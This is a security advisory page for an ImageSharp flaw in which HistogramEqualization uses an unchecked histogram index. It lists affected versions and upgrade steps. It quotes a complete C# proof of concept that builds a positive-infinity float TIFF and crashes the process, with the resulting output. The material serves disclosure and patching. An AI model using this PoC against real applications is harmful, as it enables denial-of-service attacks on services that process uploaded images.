ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index
CVE-2026-106113 · GHSA-j3p4-wp97-rph4 · published 7 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-106113?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
SixLabors.ImageSharp(NuGet) >= 2.0.0, < 3.2.0SixLabors.ImageSharp(NuGet) >= 4.0.0, < 4.1.2
How to check
- Look for
SixLabors.ImageSharpin your lockfile and compare its version with the range above. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- On >= 2.0.0, < 3.2.0: Upgrade
SixLabors.ImageSharpto 3.2.0 or later, commit the lockfile and redeploy. - On >= 4.0.0, < 4.1.2: Upgrade
SixLabors.ImageSharpto 4.1.2 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
`SixLabors.ImageSharp` can terminate a process when an application decodes
an attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies
`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range
`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based
histogram index without validating that result, reaching an unsafe out-of-range
access.
This report covers `HistogramEqualization` only. It does not claim Adaptive
Histogram Equalization or AutoLevel behavior.
### Affected package and versions
- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.
### Details
[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.
The reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.
### Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```
### Reproduction
Build the supplied Dockerfile and run the exploit. The harness creates a valid
8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,
decodes it through the public API, and invokes `HistogramEqualization()`.
Observed result:
```text
mode=exploit tiffBytes=166 sample=Infinity
decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker exit status: 133
```
The control is identical except samples are `0.5`:
```text
mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel=<0.5, 0.5, 0.5, 1>
completed
Docker exit status: 0
```
When the same exploit binary was invoked through a shell inside the container,
the shell printed `Aborted` and reported status 134. The direct `docker run`
result above is the result for the supplied Docker commands.
No active exploitation is known.
### Complete PoC files
Program.cs:
```csharp
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;
static class Program
{
private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)
{
ifd.AddRange(BitConverter.GetBytes(tag));
ifd.AddRange(BitConverter.GetBytes(type));
ifd.AddRange(BitConverter.GetBytes(count));
ifd.AddRange(BitConverter.GetBytes(value));
}
// Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
private static byte[] BuildTiff(float sample)
{
const int width = 8;
const int entries = 10;
const int ifdOffset = 8;
const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];
List<byte> ifd = [];
ifd.AddRange(BitConverter.GetBytes((ushort)entries));
const ushort Short = 3, Long = 4;
AddEntry(ifd, 256, Long, 1, width); // ImageWidth
AddEntry(ifd, 257, Long, 1, 1); // ImageLength
AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample
AddEntry(ifd, 259, Short, 1, 1); // Compression = none
AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero
AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets
AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel
AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip
AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts
AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float
ifd.AddRange([0, 0, 0, 0]);
file.AddRange(ifd);
for (int i = 0; i < width; i++)
{
file.AddRange(BitConverter.GetBytes(sample));
}
return file.ToArray();
}
private static void Main(string[] args)
{
string mode = args.FirstOrDefault() ?? "exploit";
float sample = mode == "control" ? 0.5F : float.PositiveInfinity;
byte[] tiff = BuildTiff(sample);
Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");
using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);
Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}");
image.Mutate(x => x.HistogramEqualization());
Console.Error.WriteLine("completed");
}
}
```
Project file:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/SixLabors/ImageSharp/security/advisories/GHSA-j3p4-wp97-rph4
- nvd.nist.gov/vuln/detail/CVE-2026-106113
- github.com/SixLabors/ImageSharp/pull/3187
- github.com/SixLabors/ImageSharp/commit/c4c4bf292298c026df470db1a17ff826515fd95d
- github.com/SixLabors/ImageSharp/releases/tag/v4.1.2
- github.com/SixLabors/ImageSharp/pull/3208
- github.com/SixLabors/ImageSharp/commit/baa37cd19077b2a2a0c5667535111cf31d48c019
- github.com/SixLabors/ImageSharp/releases/tag/v3.2.0
- github.com/advisories/GHSA-j3p4-wp97-rph4
- github.com/SixLabors/ImageSharp
Merged from GitHub Advisory Database, OSV. Last updated 27 Oct 2026. All vulnerabilities · RSS · JSON